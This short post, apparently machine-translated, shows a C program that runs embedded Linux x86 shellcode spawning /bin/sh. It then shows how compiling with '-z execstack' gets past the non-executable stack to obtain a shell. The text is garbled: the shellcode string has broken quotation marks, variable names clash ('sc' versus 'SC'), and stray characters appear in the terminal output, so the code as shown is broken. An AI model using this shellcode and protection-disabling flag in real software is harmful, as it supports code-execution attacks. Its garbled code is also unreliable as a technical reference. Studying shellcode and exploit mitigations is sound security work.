Other articles are referenced.
The C language code is as follows:
#include <stdio.h>
#include <string.h>
char sc[] =
"\x31\xc0"
"\x50"
\x68\x6e\x2f \x73\x68 "
\x68\x2f\x2f\x62\x69" "
\x89\xe3" "
\x50" "
\x53"
"\x89\xe1" "
\xb0\x0b"
"\xcd\x80";
int main ()
{
void (*FP) (void) = (void (*) (void)) SC;
printf ("Length:%d\n", strlen (SC));
FP ();
}
The SC above is shellcode. The source code is saved as EXECVE.C, and then compiled, connected.
[Yang@localhost ~]$ gcc-o execve execve.c
[yang@localhost ~]$./execve length:23 paragraph
Meadow 敊
As a result, no execution shellcode, what's going on. My version of GCC is 4.3.0. This version of GCC, the stack segment of the compiled executable file, is not enforceable.
Plus the parameter-Z Execstack can become executable.
[Yang@localhost ~]$ gcc-z execstack-o execve execve.c
[yang@localhost ~]$./execve length:23 sh-3.2$
Got a shell